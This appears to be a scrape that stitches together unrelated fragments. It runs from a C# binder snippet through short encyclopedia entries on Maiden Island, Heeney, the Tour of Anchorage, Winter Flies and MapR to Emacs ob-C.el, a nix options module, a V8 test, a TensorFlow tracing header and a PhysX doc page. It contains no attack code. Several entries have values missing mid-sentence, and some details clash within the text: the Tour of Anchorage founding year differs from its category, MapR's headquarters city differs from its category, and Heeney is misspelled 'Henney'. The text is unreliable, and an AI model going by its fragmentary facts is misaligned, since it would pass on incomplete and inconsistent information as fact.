return _originalBinder.GetHashCode() ^ (IsPropertySet ? 1 : 0);
}
public override bool Equals(object obj)
{
ComInvokeMemberBinder other = obj as ComInvokeMemberBinder;
return other != null &&
IsPropertySet == other.IsPropertySet &&
_originalBinder.Equals(other._originalBinder);
}
}
}
}
```
|
Maiden Island, also known as "Maid Island" or "Maiden Islet," is a small private island which is part of the independent nation of Antigua and Barbuda.
The island contains a total of ten moorings, making it a popular tourist destination for those who enjoy the warm waters of the Caribbean Sea.
As of 2009, the island was owned by American financial criminal Allen Stanford.
Maiden Island is the site for the largest coral reef restoration project performed with designed artificial reefs called "Reef Balls". In 2004, approximately 3,500 prefabricated reef modules were deployed on all sides of the island but the primary reef was created on the windward side and was heavily planted with propagated and rescued coral and other marine life. There were more than 10,000 propagated coral fragments planted on the Reef Balls by the Reef Ball Foundation, a public non-profit NGO that does reef restoration work worldwide.
References
Private islands of Antigua and Barbuda
|
Heeney is an unincorporated community and a census-designated place (CDP) located in and governed by Summit County, Colorado, United States. The CDP is a part of the Breckenridge, CO Micropolitan Statistical Area. The population of the Heeney CDP was 74 at the United States Census 2020. The Silverthorne post office serves Heeney postal addresses.
History
The Heeney post office was established in 1939, and remained in operation until 1960. The community has the name of Paul Heeney, a local property owner.
Geography
The Heeney CDP has an area of , all land.
Climate
This climate type is dominated by the winter season, a long, bitterly cold period with short, clear days, relatively little precipitation mostly in the form of snow, and low humidity. According to the Köppen Climate Classification system, Heeney has a subarctic climate, abbreviated "Dfc" on climate maps.
Demographics
The United States Census Bureau initially defined the for the
See also
Outline of Colorado
Index of Colorado-related articles
State of Colorado
Colorado cities and towns
Colorado census designated places
Colorado counties
Colorado metropolitan areas
Silverthorne, CO Micropolitan Statistical Area
Green Mountain Reservoir
White River National Forest
References
External links
Henney @ Colorado.com
Henney @ UncoverColorado.com
Green Mountain/Heeney Recreation in White River National Forest
Census-designated places in Summit County, Colorado
Census-designated places in Colorado
|
2014 Grulla Morioka season.
J3 League
References
External links
J.League official site
Grulla Morioka
Iwate Grulla Morioka seasons
|
```objective-c
This program is free software; you can redistribute it and/or modify
the Free Software Foundation
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
with this program; if not, write to the Free Software Foundation, Inc.,
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. */
// Animation names
#define SMALL_ANIM_DEFAULT_ANIMATION 0
// Color names
// Patch names
// Names of collision boxes
#define SMALL_COLLISION_BOX_PART_NAME 0
// Attaching position names
// Sound names
```
|
```emacs lisp
;;; ob-C.el --- Babel Functions for C and Similar Languages -*- lexical-binding: t; -*-
;; Author: Eric Schulte
;; Thierry Banel
;; Keywords: literate programming, reproducible research
;; Homepage: path_to_url
;; This file is part of GNU Emacs.
;; GNU Emacs is free software: you can redistribute it and/or modify
;; (at your option) any later version.
;; GNU Emacs is distributed in the hope that it will be useful,
;; but WITHOUT ANY WARRANTY; without even the implied warranty of
;; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
;; along with GNU Emacs. If not, see <path_to_url
;;; Commentary:
;; Org-Babel support for evaluating C, C++, D code.
;;
;; very limited implementation:
;; - currently only support :results output
;; - not much in the way of error feedback
;;; Code:
(require 'cc-mode)
(require 'ob)
(declare-function org-entry-get "org" (pom property &optional inherit literal-nil))
(declare-function org-remove-indentation "org" (code &optional n))
(declare-function org-trim "org" (s &optional keep-lead))
(defvar org-babel-tangle-lang-exts)
(add-to-list 'org-babel-tangle-lang-exts '("C++" . "cpp"))
(add-to-list 'org-babel-tangle-lang-exts '("D" . "d"))
(defvar org-babel-default-header-args:C '())
(defconst org-babel-header-args:C '((includes . :any)
(defines . :any)
(main . :any)
(flags . :any)
(cmdline . :any)
(libs . :any))
"C/C++-specific header arguments.")
(defconst org-babel-header-args:C++
(append '((namespaces . :any))
org-babel-header-args:C)
"C++-specific header arguments.")
(defcustom org-babel-C-compiler "gcc"
"Command used to compile a C source code file into an executable.
May be either a command in the path, like gcc
or an absolute path name, like /usr/local/bin/gcc
parameter may be used, like gcc -v"
:group 'org-babel
:version "24.3"
:type 'string)
(defcustom org-babel-C++-compiler "g++"
"Command used to compile a C++ source code file into an executable.
May be either a command in the path, like g++
or an absolute path name, like /usr/local/bin/g++
parameter may be used, like g++ -v"
:group 'org-babel
:version "24.3"
:type 'string)
(defcustom org-babel-D-compiler "rdmd"
"Command used to compile and execute a D source code file.
May be either a command in the path, like rdmd
or an absolute path name, like /usr/local/bin/rdmd
parameter may be used, like rdmd --chatty"
:group 'org-babel
:version "24.3"
:type 'string)
(defvar org-babel-c-variant nil
"Internal variable used to hold which type of C (e.g. C or C++ or D)
is currently being evaluated.")
(defun org-babel-execute:cpp (body params)
"Execute BODY according to PARAMS.
This function calls `org-babel-execute:C++'."
(org-babel-execute:C++ body params))
(defun org-babel-expand-body:cpp (body params)
"Expand a block of C++ code with org-babel according to its
header arguments."
(org-babel-expand-body:C++ body params))
(defun org-babel-execute:C++ (body params)
"Execute a block of C++ code with org-babel.
This function is called by `org-babel-execute-src-block'."
(let ((org-babel-c-variant 'cpp)) (org-babel-C-execute body params)))
(defun org-babel-expand-body:C++ (body params)
"Expand a block of C++ code with org-babel according to its
header arguments."
(let ((org-babel-c-variant 'cpp)) (org-babel-C-expand-C++ body params)))
(defun org-babel-execute:D (body params)
"Execute a block of D code with org-babel.
This function is called by `org-babel-execute-src-block'."
(let ((org-babel-c-variant 'd)) (org-babel-C-execute body params)))
(defun org-babel-expand-body:D (body params)
"Expand a block of D code with org-babel according to its
header arguments."
(let ((org-babel-c-variant 'd)) (org-babel-C-expand-D body params)))
(defun org-babel-execute:C (body params)
"Execute a block of C code with org-babel.
This function is called by `org-babel-execute-src-block'."
(let ((org-babel-c-variant 'c)) (org-babel-C-execute body params)))
(defun org-babel-expand-body:C (body params)
"Expand a block of C code with org-babel according to its
header arguments."
(let ((org-babel-c-variant 'c)) (org-babel-C-expand-C body params)))
(defun org-babel-C-execute (body params)
"This function should only be called by `org-babel-execute:C'
or `org-babel-execute:C++' or `org-babel-execute:D'."
(let* ((tmp-src-file (org-babel-temp-file
"C-src-"
(pcase org-babel-c-variant
(`c ".c") (`cpp ".cpp") (`d ".d"))))
(tmp-bin-file ;not used for D
(org-babel-process-file-name
(org-babel-temp-file "C-bin-" org-babel-exeext)))
(cmdline (cdr (assq :cmdline params)))
(cmdline (if cmdline (concat " " cmdline) ""))
(flags (cdr (assq :flags params)))
(flags (mapconcat 'identity
(if (listp flags) flags (list flags)) " "))
(libs (org-babel-read
(or (cdr (assq :libs params))
(org-entry-get nil "libs" t))
nil))
(libs (mapconcat #'identity
(if (listp libs) libs (list libs))
" "))
(full-body
(pcase org-babel-c-variant
(`c (org-babel-C-expand-C body params))
(`cpp (org-babel-C-expand-C++ body params))
(`d (org-babel-C-expand-D body params)))))
(with-temp-file tmp-src-file (insert full-body))
(pcase org-babel-c-variant
((or `c `cpp)
(org-babel-eval
(format "%s -o %s %s %s %s"
(pcase org-babel-c-variant
(`c org-babel-C-compiler)
(`cpp org-babel-C++-compiler))
tmp-bin-file
flags
(org-babel-process-file-name tmp-src-file)
libs)
""))
(`d nil)) ;; no separate compilation for D
(let ((results
(org-babel-eval
(pcase org-babel-c-variant
((or `c `cpp)
(concat tmp-bin-file cmdline))
(`d
(format "%s %s %s %s"
org-babel-D-compiler
flags
(org-babel-process-file-name tmp-src-file)
cmdline)))
"")))
(when results
(setq results (org-trim (org-remove-indentation results)))
(org-babel-reassemble-table
(org-babel-result-cond (cdr (assq :result-params params))
(org-babel-read results t)
(let ((tmp-file (org-babel-temp-file "c-")))
(with-temp-file tmp-file (insert results))
(org-babel-import-elisp-from-file tmp-file)))
(org-babel-pick-name
(cdr (assq :colname-names params)) (cdr (assq :colnames params)))
(org-babel-pick-name
(cdr (assq :rowname-names params)) (cdr (assq :rownames params)))))
)))
(defun org-babel-C-expand-C++ (body params)
"Expand a block of C or C++ code with org-babel according to
its header arguments."
(org-babel-C-expand-C body params))
(defun org-babel-C-expand-C (body params)
"Expand a block of C or C++ code with org-babel according to
its header arguments."
(let ((vars (org-babel--get-vars params))
(colnames (cdr (assq :colname-names params)))
(main-p (not (string= (cdr (assq :main params)) "no")))
(includes (org-babel-read
(cdr (assq :includes params))
nil))
(defines (org-babel-read
(cdr (assq :defines params))
nil))
(namespaces (org-babel-read
(cdr (assq :namespaces params))
nil)))
(when (stringp includes)
(setq includes (split-string includes)))
(when (stringp namespaces)
(setq namespaces (split-string namespaces)))
(when (stringp defines)
(let ((y nil)
(result (list t)))
(dolist (x (split-string defines))
(if (null y)
(setq y x)
(nconc result (list (concat y " " x)))
(setq y nil)))
(setq defines (cdr result))))
(mapconcat 'identity
(list
;; includes
(mapconcat
(lambda (inc) (format "#include %s" inc))
includes "\n")
;; defines
(mapconcat
(lambda (inc) (format "#define %s" inc))
(if (listp defines) defines (list defines)) "\n")
;; namespaces
(mapconcat
(lambda (inc) (format "using namespace %s;" inc))
namespaces
"\n")
;; variables
(mapconcat 'org-babel-C-var-to-C vars "\n")
;; table sizes
(mapconcat 'org-babel-C-table-sizes-to-C vars "\n")
;; tables headers utility
(when colnames
(org-babel-C-utility-header-to-C))
;; tables headers
(mapconcat 'org-babel-C-header-to-C colnames "\n")
;; body
(if main-p
(org-babel-C-ensure-main-wrap body)
body) "\n") "\n")))
(defun org-babel-C-expand-D (body params)
"Expand a block of D code with org-babel according to
its header arguments."
(let ((vars (org-babel--get-vars params))
(colnames (cdr (assq :colname-names params)))
(main-p (not (string= (cdr (assq :main params)) "no")))
(imports (or (cdr (assq :imports params))
(org-babel-read (org-entry-get nil "imports" t)))))
(when (stringp imports)
(setq imports (split-string imports)))
(setq imports (append imports '("std.stdio" "std.conv")))
(mapconcat 'identity
(list
"module mmm;"
;; imports
(mapconcat
(lambda (inc) (format "import %s;" inc))
imports "\n")
;; variables
(mapconcat 'org-babel-C-var-to-C vars "\n")
;; table sizes
(mapconcat 'org-babel-C-table-sizes-to-C vars "\n")
;; tables headers utility
(when colnames
(org-babel-C-utility-header-to-C))
;; tables headers
(mapconcat 'org-babel-C-header-to-C colnames "\n")
;; body
(if main-p
(org-babel-C-ensure-main-wrap body)
body) "\n") "\n")))
(defun org-babel-C-ensure-main-wrap (body)
"Wrap BODY in a \"main\" function call if none exists."
(if (string-match "^[ \t]*[intvod]+[ \t\n\r]*main[ \t]*(.*)" body)
body
(format "int main() {\n%s\nreturn 0;\n}\n" body)))
(defun org-babel-prep-session:C (_session _params)
"This function does nothing as C is a compiled language with no
support for sessions"
(error "C is a compiled language -- no support for sessions"))
(defun org-babel-load-session:C (_session _body _params)
"This function does nothing as C is a compiled language with no
support for sessions"
(error "C is a compiled language -- no support for sessions"))
;; helper functions
(defun org-babel-C-format-val (type val)
"Handle the FORMAT part of TYPE with the data from VAL."
(let ((format-data (cadr type)))
(if (stringp format-data)
(cons "" (format format-data val))
(funcall format-data val))))
(defun org-babel-C-val-to-C-type (val)
"Determine the type of VAL.
Return a list (TYPE-NAME FORMAT). TYPE-NAME should be the name of the type.
FORMAT can be either a format string or a function which is called with VAL."
(let* ((basetype (org-babel-C-val-to-base-type val))
(type
(pcase basetype
(`integerp '("int" "%d"))
(`floatp '("double" "%f"))
(`stringp
(list
(if (eq org-babel-c-variant 'd) "string" "const char*")
"\"%s\""))
(_ (error "unknown type %S" basetype)))))
(cond
((integerp val) type) ;; an integer declared in the #+begin_src line
((floatp val) type) ;; a numeric declared in the #+begin_src line
((and (listp val) (listp (car val))) ;; a table
`(,(car type)
(lambda (val)
(cons
(format "[%d][%d]" (length val) (length (car val)))
(concat
(if (eq org-babel-c-variant 'd) "[\n" "{\n")
(mapconcat
(lambda (v)
(concat
(if (eq org-babel-c-variant 'd) " [" " {")
(mapconcat (lambda (w) (format ,(cadr type) w)) v ",")
(if (eq org-babel-c-variant 'd) "]" "}")))
val
",\n")
(if (eq org-babel-c-variant 'd) "\n]" "\n}"))))))
((or (listp val) (vectorp val)) ;; a list declared in the #+begin_src line
`(,(car type)
(lambda (val)
(cons
(format "[%d]" (length val))
(concat
(if (eq org-babel-c-variant 'd) "[" "{")
(mapconcat (lambda (v) (format ,(cadr type) v)) val ",")
(if (eq org-babel-c-variant 'd) "]" "}"))))))
(t ;; treat unknown types as string
type))))
(defun org-babel-C-val-to-base-type (val)
"Determine the base type of VAL which may be
`integerp' if all base values are integers
`floatp' if all base values are either floating points or integers
`stringp' otherwise."
(cond
((integerp val) 'integerp)
((floatp val) 'floatp)
((or (listp val) (vectorp val))
(let ((type nil))
(mapc (lambda (v)
(pcase (org-babel-C-val-to-base-type v)
(`stringp (setq type 'stringp))
(`floatp
(if (or (not type) (eq type 'integerp))
(setq type 'floatp)))
(`integerp
(unless type (setq type 'integerp)))))
val)
type))
(t 'stringp)))
(defun org-babel-C-var-to-C (pair)
"Convert an elisp val into a string of C code specifying a var
of the same value."
;; TODO list support
(let ((var (car pair))
(val (cdr pair)))
(when (symbolp val)
(setq val (symbol-name val))
(when (= (length val) 1)
(setq val (string-to-char val))))
(let* ((type-data (org-babel-C-val-to-C-type val))
(type (car type-data))
(formated (org-babel-C-format-val type-data val))
(suffix (car formated))
(data (cdr formated)))
(format "%s %s%s = %s;"
type
var
suffix
data))))
(defun org-babel-C-table-sizes-to-C (pair)
"Create constants of table dimensions, if PAIR is a table."
(when (listp (cdr pair))
(cond
((listp (cadr pair)) ;; a table
(concat
(format "const int %s_rows = %d;" (car pair) (length (cdr pair)))
"\n"
(format "const int %s_cols = %d;" (car pair) (length (cadr pair)))))
(t ;; a list declared in the #+begin_src line
(format "const int %s_cols = %d;" (car pair) (length (cdr pair)))))))
(defun org-babel-C-utility-header-to-C ()
"Generate a utility function to convert a column name
into a column number."
(pcase org-babel-c-variant
((or `c `cpp)
"int get_column_num (int nbcols, const char** header, const char* column)
{
int c;
for (c=0; c<nbcols; c++)
if (strcmp(header[c],column)==0)
return c;
return -1;
}
")
(`d
"int get_column_num (string[] header, string column)
{
foreach (c, h; header)
if (h==column)
return to!int(c);
return -1;
}
")))
(defun org-babel-C-header-to-C (head)
"Convert an elisp list of header table into a C or D vector
specifying a variable with the name of the table."
(let ((table (car head))
(headers (cdr head)))
(concat
(format
(pcase org-babel-c-variant
((or `c `cpp) "const char* %s_header[%d] = {%s};")
(`d "string %s_header[%d] = [%s];"))
table
(length headers)
(mapconcat (lambda (h) (format "%S" h)) headers ","))
"\n"
(pcase org-babel-c-variant
((or `c `cpp)
(format
"const char* %s_h (int row, const char* col) { return %s[row][get_column_num(%d,%s_header,col)]; }"
table table (length headers) table))
(`d
(format
"string %s_h (size_t row, string col) { return %s[row][get_column_num(%s_header,col)]; }"
table table table))))))
(provide 'ob-C)
;;; ob-C.el ends here
```
|
The Tour of Anchorage is a point-to-point cross-country ski race held annually on the first Sunday in March in Anchorage, Alaska. Established in 1989, it is part of the American Ski Marathon Series.
Course
The race includes three distances of 50 km, 40km, and 25km, each with a freestyle and classic option. The 50km and 40 km races begin at Service High School, while the 25 km race begins at Alaska Pacific University. All races end in the stadium at Kincaid Park, except in 2021, Kincaid Stadium.
Strict measures were undertaken in 2021, such as athletes to wear masks & social distancing from others.
External links
1988 establishments in Alaska
Annual events in Alaska
Cross-country skiing competitions
March events
Recurring sporting events established in 1988
Ski marathons in the United States
Sports in Anchorage, Alaska
Tourist attractions in Anchorage, Alaska
|
Winter Flies () is a 2018 Czech-Slovak-Polish-Slovenian co-production road movie drama by Slovenian director Olmo Omerzu. It premiered at Karlovy Vary International Film Festival on 1 July 2018.
Olmo Omerzu has won a Best Director Award at Karlovy Vary International Film Festival. It was selected as the Czech entry for the Best Foreign Language Film at the 91st Academy Awards, but it was not nominated.
Plot
The film follows two boys - Mára and Heduš. Heduš runs away from home. He joins Mára who tells him that he is running away from home. They drive through countryside in a Mára's car. They meet hitchhiker Bára who joins them. Both boys dream about having sex with her but she locks herself in the car during night and boys have to sleep outside. Mára reveals to Heduš that he goes to his grandfather who is a retired military officer. Boys eventually get to Mára's grandfather who suffers a heart attack and boys get him to hospital. Mára is later arrested by 2 police officers who interrogate him. The film ends when Heduš creates an incident outside the police station which allows Mára to escape.
Cast
Tomáš Mrvík as Mára
Jan František Uher as Heduš
Eliška Křenková as Bára
Lenka Vlasáková as Policewoman
Martin Pechlát as Policeman
Production
Petr Pýcha has written radio play inspired by a story he read on an internet. His play was refused for vulgarity and he decide to rewrite it to a film screenplay. Pýcha saw Omerzu's previous film A Night Too Young and decided to ask Omerzu to direct the film. Omerzu liked it and started preparations of the film. Casting for main roles took very long Omerzu wanted non-actors who can find themselves in their characters. The film was mostly shot in North Bohemia.
Release
The film premiered at 2018 Karlovy Vary International Film Festival. The film had a journalist projection on 24 August 2018. It was followed by press conference during which filmmakers were questioned about the film. The film was distributed to Czech cinemas on 4 September 2018 and later presented at multiple International film festivals.
Reception
Accolades
See also
List of submissions to the 91st Academy Awards for Best Foreign Language Film
List of Czech submissions for the Academy Award for Best Foreign Language Film
References
External links
2018 films
2010s drama road movies
Czech Film Critics' Awards winners
Czech Lion Awards winners (films)
Czech drama road movies
2010s Czech-language films
|
MapR was a business software company headquartered in Santa Clara, California. MapR software provides access to a variety of data sources from a single computer cluster, including big data workloads such as Apache Hadoop and Apache Spark, a distributed file system, a multi-model database management system, and event stream processing, combining analytics in real-time with operational applications. Its technology runs on both commodity hardware and public cloud computing services. In August 2019, following financial difficulties, the technology and intellectual property of the company were sold to Hewlett Packard Enterprise.
Funding
MapR was privately held with original funding of $9 million from Lightspeed Venture Partners and New Enterprise Associates in 2009. MapR executives come from Google, Lightspeed Venture Partners, Informatica, EMC Corporation and Veoh. MapR had an additional round of funding led by Redpoint Ventures in August, 2011. A round in 2013 was led by Mayfield Fund that also included Greenspring Associates. In June 2014, MapR closed a $110 million financing round that was led by Google Capital. Qualcomm Ventures also participated, along with existing investors Lightspeed Venture Partners, Mayfield Fund, New Enterprise Associates and Redpoint Ventures.
In May 2019, the company announced that it would shut down if it was unable to find additional funding.
History
The company contributed to the Apache Hadoop projects HBase, Pig, Apache Hive, and Apache ZooKeeper.
MapR entered a technology licensing agreement with EMC Corporation on 2011, supporting an EMC-specific distribution of Apache Hadoop. MapR was selected by Amazon Web Services to provide an upgraded version of Amazon's Elastic MapReduce (EMR) service. MapR broke the minute sort speed record on Google's Compute platform.
See also
Apache Accumulo
Apache Software Foundation
Big data
Bigtable
Database-centric architecture
Hadoop
MapReduce
HBase
RainStor
References
External links
MapR Homepage
Software companies based in the San Francisco Bay Area
Cloud infrastructure
Distributed file systems
Hadoop
Companies based in San Jose, California
Big data companies
Defunct software companies of the United States
|
```nix
{ lib, ... }:
with lib;
{
options = {
system.defaults.screencapture.location = mkOption {
type = types.nullOr types.str;
default = null;
description = ''
The filesystem path to which screencaptures should be written.
'';
};
system.defaults.screencapture.type = mkOption {
type = types.nullOr types.str;
default = null;
description = ''
The image format to use, such as "jpg".
'';
};
system.defaults.screencapture.disable-shadow = mkOption {
type = types.nullOr types.bool;
default = null;
description = ''
Disable drop shadow border around screencaptures. The default is false.
'';
};
system.defaults.screencapture.show-thumbnail = mkOption {
type = types.nullOr types.bool;
default = null;
description = ''
Show thumbnail after screencapture before writing to file. The default is true.
'';
};
};
}
```
|
```javascript
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
//
// * Redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
// * Redistributions in binary form must reproduce the above
// copyright notice, this list of conditions and the following
// disclaimer in the documentation and/or other materials provided
// with the distribution.
// * Neither the name of Google Inc. nor the names of its
// contributors may be used to endorse or promote products derived
// from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
function props(x) {
var result = [];
for (var p in x) result.push(p);
return result;
}
function A() {
this.a1 = 1234;
this.a2 = "D";
this.a3 = false;
}
function B() {
this.b3 = false;
this.b2 = "D";
this.b1 = 1234;
}
function C() {
this.c3 = false;
this.c1 = 1234;
this.c2 = "D";
}
assertArrayEquals(["a1", "a2", "a3"], props(new A()));
assertArrayEquals(["b3", "b2", "b1"], props(new B()));
assertArrayEquals(["c3", "c1", "c2"], props(new C()));
assertArrayEquals(["s1", "s2", "s3"], props({s1: 0, s2: 0, s3: 0}));
assertArrayEquals(["s3", "s2", "s1"], props({s3: 0, s2: 0, s1: 0}));
assertArrayEquals(["s3", "s1", "s2"], props({s3: 0, s1: 0, s2: 0}));
var a = new A()
a.a0 = 0;
a.a4 = 0;
assertArrayEquals(["a1", "a2", "a3", "a0", "a4"], props(a));
var b = new B()
b.b4 = 0;
b.b0 = 0;
assertArrayEquals(["b3", "b2", "b1", "b4", "b0"], props(b));
var o1 = {s1: 0, s2: 0, s3: 0}
o1.s0 = 0;
o1.s4 = 0;
assertArrayEquals(["s1", "s2", "s3", "s0", "s4"], props(o1));
var o2 = {s3: 0, s2: 0, s1: 0}
o2.s4 = 0;
o2.s0 = 0;
assertArrayEquals(["s3", "s2", "s1", "s4", "s0"], props(o2));
```
|
```objective-c
path_to_url
Unless required by applicable law or agreed to in writing, software
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
==============================================================================*/
#ifndef TENSORFLOW_PLATFORM_TRACING_H_
#define TENSORFLOW_PLATFORM_TRACING_H_
// Tracing interface
#include <atomic>
#include <map>
#include <memory>
#include "tensorflow/core/lib/core/stringpiece.h"
#include "tensorflow/core/lib/strings/strcat.h"
#include "tensorflow/core/platform/macros.h"
#include "tensorflow/core/platform/mutex.h"
#include "tensorflow/core/platform/platform.h"
#include "tensorflow/core/platform/types.h"
namespace tensorflow {
namespace port {
class Tracing {
public:
// This enumeration contains the identifiers of all TensorFlow
// threadscape events and code regions. Threadscape assigns its
// own identifiers at runtime when we register our events and we
// cannot know in advance what IDs it will choose. The "RecordEvent"
// method and "ScopedActivity" use these event IDs for consistency
// and remap them to threadscape IDs at runtime. This enum is limited
// to 64 values since we use a bitmask to configure which events are
// enabled. It must also be kept in step with the code in
// "Tracing::EventCategoryString".
enum EventCategory {
kScheduleClosure = 0,
kRunClosure = 1,
kCompute = 2,
kEventCategoryMax = 3 // sentinel - keep last
};
// Note: We currently only support up to 64 categories.
static_assert(kEventCategoryMax <= 64, "only support up to 64 events");
// Called by main programs to initialize tracing facilities
static void Initialize();
// Return the pathname of the directory where we are writing log files.
static const char* LogDir();
// Returns a non-zero identifier which can be used to correlate
// related events.
static inline uint64 UniqueId();
// Returns true if a trace is in progress. Can be used to reduce tracing
// overheads in fast-path code.
static inline bool IsActive();
// Associate name with the current thread.
static void RegisterCurrentThread(const char* name);
// Posts an event with the supplied category and arg.
static void RecordEvent(EventCategory category, uint64 arg);
// Traces a region of code. Posts a tracing "EnterCodeRegion" event
// when created and an "ExitCodeRegion" event when destroyed.
class ScopedActivity {
public:
explicit ScopedActivity(EventCategory category, uint64 arg);
~ScopedActivity();
private:
#if defined(PLATFORM_GOOGLE)
const bool enabled_;
const int32 region_id_;
#endif
TF_DISALLOW_COPY_AND_ASSIGN(ScopedActivity);
};
// Trace collection engine can be registered with this module.
// If no engine is registered, ScopedAnnotation and TraceMe are no-ops.
class Engine;
static void RegisterEngine(Engine*);
// Forward declaration of the GPU utility classes.
class ScopedAnnotation;
class TraceMe;
private:
friend class TracingTest;
friend class ScopedAnnotation;
friend class TraceMe;
static std::atomic<Tracing::Engine*> tracing_engine_;
static Tracing::Engine* engine() {
return tracing_engine_.load(std::memory_order_acquire);
}
static void RegisterEvent(EventCategory id, const char* name);
static const char* EventCategoryString(EventCategory category);
//
// Parses event mask expressions in 'value' of the form:
// expr ::= <term> (,<term>)*
// term ::= <event> | "!" <event>
// event ::= "ALL" | <wait_event> | <other_event>
// wait_event ::= "ENewSession" | "ECloseSession" | ...
// other_event ::= "Send" | "Wait" | ...
// ALL denotes all events, <event> turns on tracing for this event, and
// !<event> turns off tracing for this event.
// If the expression can be parsed correctly it returns true and sets
// the event_mask_. Otherwise it returns false and the event_mask_ is left
// unchanged.
static bool ParseEventMask(const char* flagname, const string& value);
// Bit mask of enabled trace categories.
static uint64 event_mask_;
// Records the mappings between Threadscape IDs and the "EventCategory" enum.
static int32 category_id_[kEventCategoryMax];
static std::map<string, int32>* name_map_;
};
// Trace collection engine that actually implements collection.
class Tracing::Engine {
public:
Engine() {}
virtual ~Engine();
// Returns true if Tracing is currently enabled.
virtual bool IsEnabled() const = 0;
// Represents an active annotation.
class Annotation {
public:
Annotation() {}
virtual ~Annotation();
};
// Represents an active trace.
class Tracer {
public:
Tracer() {}
virtual ~Tracer();
};
private:
friend class ScopedAnnotation;
friend class TraceMe;
// Register the specified name as an annotation on the current thread.
// Caller should delete the result to remove the annotation.
// Annotations from the same thread are destroyed in a LIFO manner.
// May return nullptr if annotations are not supported.
virtual Annotation* PushAnnotation(StringPiece name) = 0;
// Start tracing under the specified label. Caller should delete the result
// to stop tracing.
// May return nullptr if tracing is not supported.
virtual Tracer* StartTracing(StringPiece label) = 0;
// Same as above, but implementations can avoid copying the string.
virtual Tracer* StartTracing(string&& label) {
return StartTracing(StringPiece(label));
}
};
// This class permits a user to apply annotation on kernels and memcpys
// when launching them. While an annotation is in scope, all activities
// within that scope get their names replaced by the annotation. The kernel
// name replacement is done when constructing the protobuf for sending out to
// a client (e.g., the stubby requestor) for both API and Activity records.
//
// Ownership: The creator of ScopedAnnotation assumes ownership of the object.
//
// Usage: {
// ScopedAnnotation annotation("first set of kernels");
// Kernel1<<<x,y>>>;
// LaunchKernel2(); // Which eventually launches a cuda kernel.
// }
// In the above scenario, the GPUProf UI would show 2 kernels with the name
// "first set of kernels" executing -- they will appear as the same kernel.
class Tracing::ScopedAnnotation {
public:
explicit ScopedAnnotation(StringPiece name);
// If tracing is enabled, set up an annotation with a label of
// "<name_part1>:<name_part2>". Can be cheaper than the
// single-argument constructor because the concatenation of the
// label string is only done if tracing is enabled.
ScopedAnnotation(StringPiece name_part1, StringPiece name_part2);
// Returns true iff scoped annotations are active.
static bool Enabled() {
auto e = Tracing::engine();
return e && e->IsEnabled();
}
private:
std::unique_ptr<Engine::Annotation> annotation_;
};
// TODO(opensource): clean up the scoped classes for GPU tracing.
// This class permits user-specified (CPU) tracing activities. A trace
// activity is started when an object of this class is created and stopped
// when the object is destroyed.
class Tracing::TraceMe {
public:
explicit TraceMe(StringPiece name);
// If tracing is enabled, set up a traceMe with a label of
// "<name_part1>:<name_part2>". This can be cheaper than the
// single-argument constructor because the concatenation of the
// label string is only done if tracing is enabled.
TraceMe(StringPiece name_part1, StringPiece name_part2);
private:
std::unique_ptr<Engine::Tracer> tracer_;
};
inline Tracing::ScopedAnnotation::ScopedAnnotation(StringPiece name) {
auto e = Tracing::engine();
if (e && e->IsEnabled()) {
annotation_.reset(e->PushAnnotation(name));
}
}
inline Tracing::ScopedAnnotation::ScopedAnnotation(StringPiece name_part1,
StringPiece name_part2) {
auto e = Tracing::engine();
if (e && e->IsEnabled()) {
annotation_.reset(
e->PushAnnotation(strings::StrCat(name_part1, ":", name_part2)));
}
}
inline Tracing::TraceMe::TraceMe(StringPiece name) {
auto e = Tracing::engine();
if (e && e->IsEnabled()) {
tracer_.reset(e->StartTracing(name));
}
}
inline Tracing::TraceMe::TraceMe(StringPiece name_part1,
StringPiece name_part2) {
auto e = Tracing::engine();
if (e && e->IsEnabled()) {
tracer_.reset(
e->StartTracing(strings::StrCat(name_part1, ":", name_part2)));
}
}
} // namespace port
} // namespace tensorflow
#if defined(PLATFORM_GOOGLE)
#include "tensorflow/core/platform/google/tracing_impl.h"
#else
#include "tensorflow/core/platform/default/tracing_impl.h"
#endif
#endif // TENSORFLOW_PLATFORM_TRACING_H_
```
|
```html
<html>
<head>
<title>NVIDIA(R) PhysX(R) SDK 3.4 API Reference: PxRigidBodyData Struct Reference</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<LINK HREF="NVIDIA.css" REL="stylesheet" TYPE="text/css">
</head>
<body bgcolor="#FFFFFF">
<div id="header">
<hr class="first">
<img alt="" src="images/PhysXlogo.png" align="middle"> <br>
<center>
<a class="qindex" href="main.html">Main Page</a>
<a class="qindex" href="hierarchy.html">Class Hierarchy</a>
<a class="qindex" href="annotated.html">Compound List</a>
<a class="qindex" href="functions.html">Compound Members</a>
</center>
<hr class="second">
</div>
<!-- Generated by Doxygen 1.5.8 -->
<div class="contents">
<h1>PxRigidBodyData Struct Reference<br>
<small>
[<a class="el" href="group__immediatemode.html">Immediatemode</a>]</small>
</h1><!-- doxytag: class="PxRigidBodyData" -->Structure to store rigid body properties.
<a href="#_details">More...</a>
<p>
